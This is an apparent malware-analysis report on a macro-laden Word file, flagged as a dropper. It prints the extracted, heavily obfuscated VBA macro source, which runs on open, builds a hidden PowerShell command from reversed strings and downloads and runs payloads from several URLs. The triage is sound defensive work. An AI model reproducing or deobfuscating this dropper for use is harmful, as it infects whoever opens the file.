MALICIOUS
172
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The critical heuristic 'OLE_VBA_SHELL' and the ClamAV detection 'Doc.Dropper.Agent-6452977-0' indicate that this Office document contains malicious VBA macros. The 'OLE_LEGACY_WORDBASIC_AUTOEXEC' heuristic confirms the presence of an AutoOpen macro, which is commonly used to execute malware upon opening the document. The VBA script is heavily obfuscated, but its presence and the associated heuristics strongly suggest it functions as a dropper for a second-stage payload.
Heuristics 7
-
ClamAV: Doc.Dropper.Agent-6452977-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6452977-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
thUjBiYjU = (8148370 - CDbl(6149107 + pNqTbuwiWwkrt / KtEBiiltiicqb * Hex(3187898)) - 4577210 + CByte(UzmujQ)) Shell bSCSmlvwdqIT + hNtBKWB + cSIBIwiLrkT + GNdkFzMtFcj, 0 fMwHnizAS = (9358483 - CDbl(8575156 + Brkmjmckhim / YRLXqwZaAjc * Hex(7990711)) - 1813335 + CByte(rdsjAjNjbtUN)) -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "VcOMBzhHBDUCw" Sub AutoOpen() On Error Resume Next -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 32296 bytes |
SHA-256: d3e568d1ff4d47a3020eed3757847cd5cac3e3de3271b22e17f67a9ec83a0f5d |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
810 of 1137 identifiers look randomly generated (e.g. 'waTrFvDEssJoCGaYLLiTawLFSuRnLLLBrkFc6Zsz'); 12 string-concatenation chain(s) — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "wTvjaDtK"
Function dOwtVGvXSrsS()
On Error Resume Next
CHNHSJkVz = (8420539 - CDbl(8937724 + iHRjnNrBTtl / jbpWMtEUd * Hex(9903716)) - 7001505 + CByte(fAUXh))
ZTqBIzQwvcO = (4379631 - CDbl(2368128 + ZbRAzhSdkD / HdCRwzOIUna * Hex(432626)) - 6031364 + CByte(QEmsUUwjI))
OYmHfK = (9802606 - CDbl(1575847 + oZfbbk / PcXdiWYSOr * Hex(8026775)) - 9877620 + CByte(mdjcfkPjn))
TXCzw = (FDAOaBaolUO) + yHBjksbJKSUgsssd("RDXIJKduWwNW]raHc[,)75]ravvwFCutrudqzztSbovPL", 21, 13)
WjnPbC = (9924985 - CDbl(6717401 + KsCvqUqbB / aZhNc * Hex(7111729)) - 9830966 + CByte(JzWjnBbNTh))
wTBIjSw = (1125895 - CDbl(7388297 + DaQzz / wUVlotrBip * Hex(6634100)) - 4767341 + CByte(poqlBbFAUdBIVO))
zfOTsPtrljQ = (9857427 - CDbl(4363622 + QOfKCJoLhpvAzY / JIwONoOXracr * Hex(3732666)) - 5544434 + CByte(isifYTsn))
OSbFzzEj = (QutbDWwBioS) + yHBjksbJKSUgsssd("wwTCWIHcvFr+v'+'Fr[+47]raHc[+28]raHc[( ECalPErc-43]raHcG2A+G2A[,)05]raHc[+55]raHc[+08]raHc[( eCAlPER-29]raHc[,9b1LVvFr+vFr29b1 eCAlPER- vFr+vFr G2A+G2A93'+']raHc[,9b12bc9b1 ECalPErc-)9b1}}{hcLlJARdYJHKzMKlSzduDZ", 21, 188)
VAWomOwK = (4073026 - CDbl(6685220 + LCWRAQQ / JiMOulhaG * Hex(7621373)) - 467285 + CByte(GMHVVWcEDN))
UmOXfsFbmu = (2665861 - CDbl(6198460 + GaHdEDAjqICzv / FGJTdS * Hex(1080221)) - 1486410 + CByte(vBwioLSvUfXoLa))
SbBBh = (9289822 - CDbl(395153 + CtPDFXaOXzt / kNlwbMcIYLYYNh * Hex(3354524)) - 4596302 + CByte(ujNQtQMs))
VaRUibw = (lJJCrojZR) + yHBjksbJKSUgsssd("YSJEzz1+9b139b1+9b119bG2A+GwjBZWshUHDwr", 13, 21)
TmwfQM = (5538975 - CDbl(3304191 + dqzZGjVzmIu / zMwzmcK * Hex(3590057)) - 8769165 + CByte(iaqBESXSU))
TCktsiJRrh = (7758095 - CDbl(9306378 + WuVLjDsUHCvKr / bHQSSwmGIW * Hex(6782043)) - 971467 + CByte(DcToGOHqBd))
QcBHZURVA = (5149650 - CDbl(8649466 + aYPfif / brPCBW * Hex(9592244)) - 1135978 + CByte(mwcicosn))
ajNafLrZ = (tLqVrqXGCv) + yHBjksbJKSUgsssd("GDikIQUwnqiaTFrpt9b1+9b1th9b1+9b1?/vFr+vFrk9b1+9WNYmwGrYjnvENFRZw", 18, 35)
bYVvWcqt = (2361751 - CDbl(3306465 + kQBaPfwOiljc / piZnRmNc * Hex(2107959)) - 4952801 + CByte(YIFYjccjWcEjj))
jYYAStwk = (2519953 - CDbl(1870157 + rLjmhONDVWMuZE / ZqIBHZ * Hex(4946044)) - 5876928 + CByte(IAFnk))
IkkNHiRicjV = (383875 - CDbl(8069136 + HoVQinKKvC / NPhGS * Hex(3679909)) - 6062729 + CByte(aLCYRjddhIaST))
VidcjCRLDkC = (LYNrdsDvAM) + yHBjksbJKSUgsssd("OFrXad1+9b1;'+'9b1+G2A+G2A9b1)CvFr+vFrD'nNzjPKPErTDIEwdnJiqwwYG", 24, 34)
SZLaKjOMzZ = (1002541 - CDbl(3106632 + jBJdB / jkhiuUjak * Hex(7445902)) - 5470805 + CByte(qBvPqDnU))
fznii = (1135528 - CDbl(2669185 + QWhVdJ / uTqqmlkIjYDtT * Hex(4830550)) - 7526357 + CByte(OOJUKFqjPWdQIM))
mXvWRhn = (9951986 - CDbl(1210787 + rsIdAOJf / XORMtidbTGU * Hex(7888625)) - 6647086 + CByte(dJbQITATZzcc))
zAHoz = (RmatnUELPP) + yHBjksbJKSUgsssd("QGomYAIajbqMr2bc9b1vFr+vFr+9b1(. = UYvFr+vFrY4'+'Go;modnar9b1+9b1 9b1G2A+G2A+9b1)9b1+9b12bct2b9b1+9b1c+9b1G2A+G2A+9b12b9b1+9b1cce9b1+9b1jb9b1+9b1o9b1+9b1-9b1+9b1w9vFr+vFrb1+9b12bcvFr+'+'vFr+csPKkMYPsGEWMoGEGhd", 20, 178)
stNoOCAbvUL = (4798915 - CDbl(9584718 + MhDpT / RBwJEGUAFFA * Hex(8966374)) - 4571338 + CByte(NjTZfLATczzp))
dYaLZOSPMlE = (424126 - CDbl(9787704 + uinvUKtoXo / RbDwiZBJnjOi * Hex(1787201)) - 1547036 + CByte(wYzMPEVYLaN))
OsXCnp = (9821987 - CDbl(706889 + TsvktuZQiU / osLvfAdnl * Hex(2387379)) - 4070336 + CByte(LZivCrXRazfT))
wsOrdYCTTW = (unhttlcJDfT) + yHBjksbJKSUgsssd("LDrnG+9b12bce9b1+9b129b1+9b1b9b1+9vFr+vFrb1c+29b1+vFr+vFr9b1bcx9b1+9b1e.29b1+9b1bc(9b1+9b1 9bvFr+vF'+'r1+'+'9b1+ B9b1+9b1SN4G9GvFr+vFr2A+G2Ab1+9b1o +9b1+9b1G2A+G2A 9b1+9b12bcLV229b1+9bXRDrwGYMh", 10, 179)
ikDDSthjQND = (9763403 - CDbl(4347797 + HDzqNsHMG / ZbibKXw * Hex(4420076)) - 7200848 + CByte(LzhOfNUkj))
FNZzMtIGF = (6585269 - CDbl(981802 + mJmbqkz / VTTVlqnX * Hex(8665840)) - 2502075 + CByte(nNwMKWj))
zNJViz = (2227189 - CDbl(9984990 + XcYIKoVoj / NZTEsdLcoaz * Hex(8417772)) - 4277766 + CByte(RBpwcEHYz))
jmzohVtJlhi = (fajLSRwDkLK) + yHBjksbJKSUgsssd("oXJl9b1+9b1enG2A+G2ANGzcXrnOlhJWlKvzLRZirNopUVMvqXn", 32, 17)
TRjkE = (4734728 - CDbl(2399207 + ZpbZGBizCn / OhqVCH * Hex(9527695)) - 5386740 + CByte(uBBYTSkrVRCtWf))
quIsAlrvI = (1239016 - CDbl(1958251 + UlSwKEjQMzQh / BBwQjYnDGnRq * Hex(5770631)) - 6984997 + CByte(PsBjLPnLJzjw))
GKDhWz = (3500553 - CDbl(1541983 + VTJjQB / FwhWkOwBIjTzBT * Hex(9171542)) - 6324725 + CByte(ZNpnTzbVu))
WlAiGizVk = (UjKGWZafGDrJw) + yHBjksbJKSUgsssd("QUdamWkPIiiK+9bG2A+G2A1N9b1+9b1.me9b1+9bvFr+vFr1t9b1'+'+9b1s9b1+9b1yS )2b9bvFr+vFr1+9b1ctc9b1+9b1e9b1+9b1j9b1+9b1bo9b1+9b1-vFr+vFr2bc+9b1+9b129b1+9b1bcG2A+G2A9b1+9G2A+G2Ab1w2b9b1+9b1rEHwQscoPDdLRiPGOOUqiPZv", 25, 170)
jfjWmqoDhh = (7629105 - CDbl(1215255 + LJlzF / pPfDb * Hex(6724710)) - 9975903 + CByte(ijqihuoc))
uUifV = (6135634 - CDbl(5857941 + wCoLtLsrRXJBHv / qKiENUdDYHiH * Hex(1144791)) - 2291866 + CByte(jdHBHzB))
tfAWNb = (776517 - CDbl(7400040 + irisYijjvEdtb / cVwPDKDm * Hex(6103712)) - 499244 + CByte(juGompGvMfcu))
czhvwlOkwK = (pCcTGnZm) + yHBjksbJKSUgsssd("TjAHMWWRfRzOooCpTnUGPVqWGPcwGvFr+vuWUENOr", 8, 6)
farhkwK = (8511260 - CDbl(7005362 + uIPXwOlzbo / bKfbYRw * Hex(5908659)) - 770935 + CByte(DlDGTYjROGH))
EDboKA = (8448849 - CDbl(4424444 + CsNrmEZKMW / SITnOFNjv * Hex(8186330)) - 4261032 + CByte(QfqCiMh))
AZSBiTBrpk = (1448586 - CDbl(6864444 + AZfDHszHtZjh / QPdAB * Hex(8891994)) - 2214421 + CByte(njjwMwCqzf))
TTGzHhvXX = (BqYlAlAcnvLjD) + yHBjksbJKSUgsssd("rlOamLoRiYhznWHcOK2A1+'+'9b129b1+9b182 ,009b1+9b'+'1009b1+9b11(9b1+9b1txen'+'.'+'ds9b1+9b1adas9b1+9b1n9b1+9b14Go9'+'b1+9b1 = BSN4'+'Go9G2A+G2Ab1+9b1;tn9b1+9b1eil9bvFr+vF'+'r1+9kXmbjuRKQtFpU", 14, 158)
NRiFQKmvjaj = (2433910 - CDbl(6038751 + YLNswHv / wQwtStWIVVpEYi * Hex(7688796)) - 8219933 + CByte(CNiWPmkABQT))
ZaERjPPrGvN = (8922236 - CDbl(391667 + DCakWB / MpHQR * Hex(6817152)) - 4472482 + CByte(otXWIwtNYj))
zpjlOiTCvGh = (5919788 - CDbl(2170584 + QcDOTLlBwtRpj / XaFwCNZNWvYt * Hex(2585454)) - 1979507 + CByte(BDrpKwNDCwXl))
NHwvRXQ = (hnzzijdZmE) + yHBjksbJKSUgsssd("AnXYaqivLRAPwhIGZffv+'PeR- 421]RaHC[,vFrX1uvFr ECALpErC-)vFrnOissERPXe-EKoVNiX1u)93]rAvFr+vFrhc[]gNIRTs[,G2A9b1G2A(eCALPer.)63]rAhc[]gGojHFRFXzLaBWhlEPr", 19, 116)
OaoTwAm = (8186306 - CDbl(4902540 + VtKWDzibzXWorQ / oCiUPs * Hex(8144284)) - 8657394 + CByte(vLYZKM))
HIdlTAmoj = (8539126 - CDbl(1779897 + jHNLPPizVUj / TzJrmJPVJHf * Hex(428)) - 573972 + CByte(rbFRniNHKJ))
CbVBDlrJ = (8589702 - CDbl(5667896 + SmSWVMYcMOhX / dnXZc * Hex(2668549)) - 1580886 + CByte(XHrDhBVLoAzJ))
czQjPltBav = (czUDFIqZwbMz) + yHBjksbJKSUgsssd("YNRzbkYZUBAwajnhqEGc+2bcen9b1+9b1vFr+vFlFQjcibIJzKQCqZF", 17, 20)
mfNdmmXZ = (5921159 - CDbl(4087017 + uiaSoLDQYOiNjj / jnSad * Hex(7880794)) - 8702897 + CByte(UJzzvaDTUoWBFQ))
iTFQZwjZGij = (3699839 - CDbl(4035160 + biGwojDUWE / OErKBjGJrLHpVu * Hex(2814971)) - 4974677 + CByte(fwPUzz))
qYswflB = (418328 - CDbl(1306087 + wfctfYWFFQwL / VKKdQTslDZGtpX * Hex(7879187)) - 5734508 + CByte(FpEOmajw))
EhzLIEnwos = (XukBaklj) + yHBjksbJKSUgsssd("vdAchaDlPWTl'+'1+9b1G2A+G'+'2A2bcm9b1+9b1e9b1+9b1t9b1+9b1I-9b1+9b1e9b1+9GvFr+vFr2AvFr+vFr+G2Ab12bc+29b1+9b1bck2vFr+vFrbc9vFr+vFrG2A+G2Ab1'+'+9b1+2bc'+'9b1+9b1ovn9b1+G2A+G2A9vFr+vFrb1I2bc(&9bhvKVbmv", 8, 178)
GWwzrwW = (6409312 - CDbl(5229204 + LHHlijdfjkYU / bdvJtjT * Hex(9345116)) - 4242995 + CByte(pMtULz))
CMmUoGhd = (8140593 - CDbl(6423362 + pAnWquuWhozz / hfirDjHzHspAS * Hex(4661709)) - 7934903 + CByte(RjtDmfN))
fhwzat = (7722386 - CDbl(1380886 + OzNmH / JzfOqTvJZ * Hex(7739966)) - 6446758 + CByte(wWYWFH))
NVWjdh = (iiOBtFVzqB) + yHBjksbJKSUgsssd("nOzbrBwTIRDRMzYRJRBaHC[( eCal'CiavJi", 7, 11)
tKTdYakibh = (9652283 - CDbl(6991843 + dwwFpljstFX / QOwiwAizsRDMYf * Hex(5973905)) - 1253548 + CByte(ikRYWQEDMA))
YivVUYpmb = (9945696 - CDbl(3527029 + PfzkBcVOi / PnrMuljJF * Hex(4939596)) - 2855213 + CByte(VGbuzrb))
QJIYABWfw = (6992571 - CDbl(70343 + iTCXOniClPA / BlfEJRf * Hex(8139923)) - 8800467 + CByte(KAKrJGidnuWjI))
sYTKzZFTRWf = (wRIkUkSrSsbX) + yHBjksbJKSUgsssd("koVLzTDERQ$+]1[DiLlEhs$ ( & |)63]rahC[]GNIRTS[,)94]rahC[+05]rahC[+96]rahC[((eCALpeR.)93]rahC[]GNIRTS[,)811]rahC[+07]rahC[+411]rahC[((eCALpeR.)') )9'+'3]RaHC[,)17]RaHC[+05]RaHC[+56]RPjLIhsRuiLKPFftZ", 17, 171)
rUckwJUBjF = (7942298 - CDbl(7353436 + CNXdXX / cGqVcH * Hex(9053732)) - 7421149 + CByte(lLqEKlCnTrmvd))
wjBwaDbvDcf = (7889924 - CDbl(2458456 + VOHJzPHfjWISi / IzvOTzw * Hex(6564569)) - 9704116 + CByte(LjJjlMwR))
RUsUY = (5630238 - CDbl(5834817 + sncuVD / XocjEGj * Hex(7762154)) - 9935873 + CByte(VNsnQqw))
MasaXjGc = (EqPsiJFK) + yHBjksbJKSUgsssd("wUvzFSIbwcIctpROQzFMInWOazQrW+vFr+vFr9b14Go(h9b'+'1+vFr+vFr9b1ca9b1+9b1'+'e9b1+9b1ro9b1+vFQqZOKqU", 8, 61)
cmdcYiM = (2085799 - CDbl(1983454 + bfDzzMjvPmSc / diPcQCQkuzATij * Hex(9149694)) - 4661821 + CByte(DdFCXkCi))
PvcUElqFnv = (9356998 - CDbl(1436322 + wZSnnNpohTXH / DjfDiTjnXzipW * Hex(9024222)) - 1135340 + CByte(NwUvboVhMfRrG))
pUtTfSzG = (8181749 - CDbl(9775343 + VLwrFwzdbAZ / kzRSjuUVDM * Hex(3529790)) - 2910891 + CByte(wqzBohj))
vhIMwUhuCa = (PKSTzvo) + yHBjksbJKSUgsssd("uvoY)'X'+]31[dIlleHSKKwuMZ", 7, 16)
FvfBtC = (6802295 - CDbl(6343233 + IAbmTs / icGVVGFWMs * Hex(8274897)) - 3603 + CByte(AblDjVKU))
RoCwDzcPJ = (4660787 - CDbl(2313911 + NhhGzOhI / POmGdmFQG * Hex(3210521)) - 3199307 + CByte(jPGjP))
qXbjSAUnFts = (4719738 - CDbl(1125119 + iIKQpInZzZzKid / moiZt * Hex(2962126)) - 8828131 + CByte(HvOdRaZ))
nqwCZ = (NwIMWddIt) + yHBjksbJKSUgsssd("VwumACLOYXFmEaQZ12bc(&9G2A+G2Ab1+9bG2A+G2A'+'1 9b1+FGjihFMFRIOw", 13, 35)
RLzKYtVAKw = (9738200 - CDbl(2313132 + ouCVafWwZqH / ZpvhSNFuidj * Hex(7800406)) - 7944840 + CByte(YDGizrPbzLBAqp))
BvGSiloAHAn = (5561276 - CDbl(6567179 + rLXuPSmYXtRzL / OffGSsr * Hex(8693374)) - 2983289 + CByte(zqjjRXQR))
AtEwAF = (112108 - CDbl(7287546 + cSBIkTJZwwbn / nVKiKpzzwEwYjG * Hex(1395133)) - 102911 + CByte(zzZZlNiwhZ))
XmNqBH = (hSGTFNUrk) + yHBjksbJKSUgsssd("mozwwn+'S4vFr+vFrGvFr+vFr'+'9bvFr+vFr1'+'+9b1o ,)(27PvFr+vFrgNvFr+vFr9JRi9J9b1+9b1R9b1'+'+9b1r9b1+vFr+vF'+'r9b1tSoT29b1+9b17P.9b1+9b1c9b1G2A+G2A+9b1fsa49b1XzOaAcNpwrjQz", 14, 149)
ilurmkzGUO = (361278 - CDbl(4854608 + wbNXBHjjc / RifjZVzN * Hex(2058110)) - 7696590 + CByte(soniEAZOjMjuvV))
NvfpruB = (9016006 - CDbl(7981672 + qpjziuV / BiiODzr * Hex(7158018)) - 5028451 + CByte(napzHG))
EEWWiawkVz = (4016670 - CDbl(9257522 + kkjNi / jWVHzNuSVDV * Hex(9026247)) - 162140 + CByte(MpIVOHPYth))
AzQUvVvtq = (mrjNEjBM) + yHBjksbJKSUgsssd("OTZb1M19b1+9b1N/rf.uignG2A+G2Aoc9b1+9b1//9vFr+vFrb1vFr+vFlkuJWUn", 8, 54)
BJqzZotwqwr = (3687709 - CDbl(8443575 + bOwXQLcnhUiEhs / FuSIjTfsVOGD * Hex(9918475)) - 9277963 + CByte(IPzpBCR))
UWacPAwbrZn = (5533376 - CDbl(3308237 + AiwHOo / bIjQBKIbvW * Hex(5643347)) - 1643183 + CByte(HdrSLP))
ANjUqTXt = (1341764 - CDbl(8345054 + jnSBAjljkGafb / QwHFpOFjoUGBW * Hex(8188189)) - 5606575 + CByte(zhjkZswzKYpMlW))
vFivLfjj = (VdctsIUulLU) + yHBjksbJKSUgsssd("wvpoMIvNzOfSFr2A27P9b1+9b1.vFr+'+'vFrUYY9b1+9b14G9b1+9b1o{yrt9b1+9b1{G2A+'+'G2vFr+vF'+'rA)XCD9b1+9b1A4G9b1+9bvFr+vFr1ovFr+vFr9b1+9b1 ni cfsa9b1G2A+G2AzLACLX", 7, 138)
sLDBGHCT = (1472902 - CDbl(9017563 + YsvRmbVk / IroPGwW * Hex(8597769)) - 76051 + CByte(LLuGwO))
UXsQlNrM = (7850703 - CDbl(6844639 + UDUwPADtHhLS / cjzwSdotui * Hex(9914028)) - 471873 + CByte(FimwDzsjQLn))
LFwRMbQqsvZ = (9089698 - CDbl(4888862 + DEPKomhj / IzvLvvZ * Hex(4782165)) - 4057621 + CByte(fuZHIiOazLUJB))
pldRXnzMX = (zuwMvGoHtvrRXz) + yHBjksbJKSUgsssd("pIGo(9b1+'+'9b1)9bpCLKFsHrLDKLdQaZCOCXOwq", 24, 15)
SbFmGb = (5047031 - CDbl(2226084 + XtwwCzJHuEK / dXIdKXcdMU * Hex(6558678)) - 8261585 + CByte(zsHrX))
ZClhqwo = (7678801 - CDbl(7049975 + RzWiA / ondzhI * Hex(4449100)) - 3036099 + CByte(UTwJzhXCLHwCFC))
mbXaj = (3154247 - CDbl(4268326 + ZZLYmzKR / qjXAidkvmXai * Hex(7482664)) - 4358016 + CByte(wKWBDjlMaQjzD))
TfLUTVArtwJ = (zkrmSBtVdzHj) + yHBjksbJKSUgsssd("jaqWQkU+9b1G9b1+9b1o(27P9b1+vFr+vFr9b1el9b1+9b1vFr+vFr9JRI9b1+9b1Fd9b1+9b1aO9JR9b'+'1+9b1lnW9J9bG2A+G2A1+9b1Ro9b1+9b1DG2A+lAzaEMMiwcEVrwTJYEkpH", 22, 115)
ZovzSnmTBi = (5308077 - CDbl(5295125 + INFFWwjzfj / ECondfGRz * Hex(9433030)) - 6353337 + CByte(ZVTfiwumzGsi))
cXzSjmfCw = (5740621 - CDbl(850668 + RibaplnLqHzJ / KJbfbcfjD * Hex(3295776)) - 888212 + CByte(ktYzK))
mbUrQpqEO = (1841185 - CDbl(1767365 + spjXWrAlK / YfnXbniNDB * Hex(4757329)) - 598821 + CByte(RXXErON))
zWKzwKVKn = (URJPtvmmCR) + yHBjksbJKSUgsssd("uwhBRfMl'+'2bc'+'9b1+'+'9b1e2b9b1+9b1vFr+vFrc+2bcn9b1+9bcP", 3, 48)
kTAXubhmhp = (1461732 - CDbl(48488 + bSAzmIXwwbpD / GNaETZiioYwHr * Hex(4821209)) - 5581882 + CByte(jrijptHDJwTWbc))
wYovHQFjTfU = (3343745 - CDbl(6694813 + VMYrsmi / LntCrvjuB * Hex(2655588)) - 6897816 + CByte(TCMFXv))
ElkWmavMU = (4474006 - CDbl(1086270 + CLHPvW / EDqEAOi * Hex(1168538)) - 2631188 + CByte(SBkba))
bJpqqdR = (ZsYPNSlSzG) + yHBjksbJKSUgsssd("dEFGtjMpsEJQjCbzXYdIaZzca1th?'+'9b1vFr+vFr+9b1/QDUN/9b1+vFr+vFr9b1moc.9b1+9b1EE", 3, 52)
dARriHnkjtT = (1489509 - CDbl(836410 + GsWdWVjcv / oBDMmjtpX * Hex(399759)) - 4212928 + CByte(aOWcNmcrCT))
SSjFPYT = (7923627 - CDbl(8972760 + azUsHfjjNwuVJ / OiokC * Hex(397538)) - 5550240 + CByte(HHtHuAEX))
WSPAImI = (4079091 - CDbl(2413418 + TMlYwQ / pzNQbGDjN * Hex(2627839)) - 2628416 + CByte(msQJpNzzljc))
VbWHdYcKwiv = (PcMIcmmwZWpzXi) + yHBjksbJKSUgsssd("nTrowSspiQljohWwdIOLajltthlGCsYl.)G2A)9bvFr+vFr19b1nIOJ-9bvFr+vFr1x9b1+]3,1[)vFr+vFreCn'+'eReFEG2A+G2ARPeSobrEvHNG2A+G2Al]GNiRTs[( (. juB vFr+vFr)63]raHc[,)25]raHc[vFr+vF'+'r+17vFr+W", 2, 149)
iFmsDzwl = (2211982 - CDbl(9585809 + kJUXnuuN / lIVOGjkFwiMva * Hex(8899573)) - 7320797 + CByte(qIvnnjtuDvD))
uJbKODzCF = (2167784 - CDbl(6155045 + lspSA / nXSkSzzdlUK * Hex(2879385)) - 6632191 + CByte(wmwaEFObLLcZZ))
jkDWSbXHHs = (8869828 - CDbl(9399531 + FItDtTpL / qiQIiloc * Hex(7952940)) - 1443675 + CByte(tPNuTMLHHsXDjS))
wnaqk = (fnDKmqJmZQDCw) + yHBjksbJKSUgsssd("LnhiH1bc + cilbup:HjwGkAuPXjiwwIL", 16, 13)
KVbELsCDH = (9349135 - CDbl(6993799 + zaquzkjHiDbT / jqUjTwriCG * Hex(1790704)) - 9827211 + CByte(WtjjSwnRi))
DUfhJDwizjA = (8483537 - CDbl(4627947 + VuQVOj / vtOcIrVwsI * Hex(9101300)) - 3813587 + CByte(vcNnYBkffNA))
apcCQiTXZqT = (9641617 - CDbl(9237526 + zDbIoWfDiI / bozzuInY * Hex(8211891)) - 2126189 + CByte(jczMwwPfNiMPX))
YJJUiGAEN = (OXzTcao) + yHBjksbJKSUgsssd("mIthlGutitpwlAOQfPhUsdoWwUVwzwhMpnn9b1+9b1iz9b1+9b'+'1dvFr+vFrirgG2A+G2A9b1+9b1nivFr+vFr//:9b1+vFr+vFr9b1G2A+G'+'2Aptth 9b1+9vFr+vFrbvF'+'r+vFr12bc = 9b1+9b1XCG2AvFr+vFr+G2vFr+vFrADA9G2A+G2Ab1+9b149b1+9b1Go9b1+G'+'2A+G2A9b1;)39bmO", 3, 194)
pfWjE = (2089228 - CDbl(5300270 + jowulOZZD / JjboTvaEAz * Hex(2217523)) - 3370564 + CByte(bzEHwUXSof))
kTDah = (4868769 - CDbl(4260169 + zLmin / iHvhwQw * Hex(1495817)) - 9305366 + CByte(KbMOLWvjHbFfK))
MfjDw = (3875796 - CDbl(110223 + SQwPS / MwnVjSGq * Hex(25169)) - 2361788 + CByte(YiDMHscPFa))
lpuZI = (NZFRDXw) + yHBjksbJKSUgsssd("IjNZFTpKwpwjEhJHGiradGESMFGhQWr+9b1:p9b1+vFr+vFr9bvFr+vFr1t9b1+9b1th?/6HYvM5NvFr+vFr/moc9b1+9b1.r9b1+9b1usai9b1+9b1r9b1+9b1erb9b1+9b1i9vFr+vFrb1+9b1l//:pt9b1+9bivzW", 5, 130)
NotsUkBQlC = (5271069 - CDbl(8757528 + mpwoK / UANrAqoYE * Hex(7244764)) - 1740538 + CByte(SBuzmowjClmfJ))
wXuORwc = (6975063 - CDbl(2681320 + KljInJrjOAOXnQ / rRaJsJoCIpiV * Hex(6649055)) - 2613594 + CByte(hQctOTBADIJ))
vGdrBLrJM = (2676868 - CDbl(6840032 + ZbtmzvNjbVlW / bSJoITjSwut * Hex(412255)) - 3596244 + CByte(QWBivFQjOlii))
qlimf = (LjbsPObpqdaR) + yHBjksbJKSUgsssd("JkriOsZFlXLLjdjErrAcr+vFrG2A+G2A9b'+'1f;)9b1FiPIiLYERmhOqbj", 16, 24)
vGVQSoz = (9423083 - CDbl(2469424 + mqQSrDXGZ / LUInm * Hex(1918192)) - 6614983 + CByte(ichjABz))
nXahpBEwW = (1579511 - CDbl(6490319 + wCNXlPUQbSii / MburzStMa * Hex(9718017)) - 8165579 + CByte(ksGqPUj))
rvwNkTJ = (4215618 - CDbl(7264435 + XnoitS / iQjDGUFGJ * Hex(9635158)) - 8105761 + CByte(ZXDWIBXOaMzw))
VRBzDTwOAi = (uTBuDTbjzkjF) + yHBjksbJKSUgsssd("iXOdUpQozFVjkuHBBkPGvdHvFr]raHc[+iERUzq", 7, 10)
ddlKBFnmDS = (1039055 - CDbl(4372593 + hMkUQjjWEvWTh / WQAzGhRNifVMw * Hex(4522423)) - 9989691 + CByte(qGaFbYT))
mbvEdionq = (6986682 - CDbl(8104915 + jCWvVPcRH / AkwpcU * Hex(5629862)) - 929411 + CByte(EjJWrEQscSwwQJ))
kzCDB = (6787739 - CDbl(9490272 + rnKGjfP / MGHldHuPlmnaf * Hex(5907941)) - 8185319 + CByte(WAwJK))
HVIbXNqXbz = (aqriKLdXAj) + yHBjksbJKSUgsssd("klnvv9b1+9b1b9b1+9b1c/9b'+'1+9b1JoL4y/l9b1'+'+9b1p.onsork9b1+9b189b1+9b'+'1ps.9'+'b1+9b1www//:pt9b1+9'+'b1th?/9b1+9b1qXZrj/rf.noisavem9b1+9b1lu-b9b1+9b1ulc//:vFr+vcWqOOdrbHYTLCaYnoOUCCmViLzipNspTo", 34, 158)
nPpSGrYp = (4411793 - CDbl(6805570 + zFjijGi / fssQiFUsRj * Hex(6297641)) - 503753 + CByte(swPBm))
biUUkTla = (1221678 - CDbl(5571132 + DUVdPs / JlXnuBSQOihw * Hex(2406179)) - 7325881 + CByte(LqjMEI))
KsSPJEI = (3870243 - CDbl(6355282 + zFXbYXnOMjjjL / HwZjATFIQTzIf * Hex(9330966)) - 665864 + CByte(fpEdnpdrrquT))
HzpAQVPkm = (iwIHwLDhiXv) + yHBjksbJKSUgsssd("iWmsb1vFr+vFrC9b1+9'+'b1beW9b1+9b1vFr+vFr.'+'te9b1qCBHPwhEqM", 11, 46)
PqkpNIXzFAV = (3597262 - CDbl(4093600 + oJYlWkQYIiX / IDVrowAZNcwEI * Hex(2392382)) - 5888983 + CByte(zRrGsz))
ClVsL = (7616433 - CDbl(1911945 + CUEoFHKTUQwY / tJSwUMLUdKFH * Hex(5098970)) - 8267187 + CByte(RzKPLClbvkHUn))
CFUzKi = (7094200 - CDbl(7509594 + jkNXhnwcbwTZKw / iQTBXGiMhHi * Hex(4468593)) - 2155824 + CByte(rXjqOZW))
kGonSrXK = (pEdPsqLYBtbiF) + yHBjksbJKSUgsssd("auPtac};ka9b1+9b1erb9b1+9b1;)CDS4GvFr+vFr9b1+9b1G2A+G2AZAKHqIXmd", 10, 52)
iEzRZuwap = (5992710 - CDbl(3076109 + QkQjbjivZKRzKX / YuzwvRaHj * Hex(7475933)) - 620003 + CByte(aZbwi))
iHokdhtQn = (596813 - CDbl(1868852 + RRElziV / tLHJLuRDZ * Hex(6217082)) - 3995199 + CByte(pdjwYiHWzMj))
HDVMGQHfviq = (8861460 - CDbl(148118 + EGpNzQ / CNYftpjHYYBibX * Hex(7598389)) - 7173862 + CByte(NQXzah))
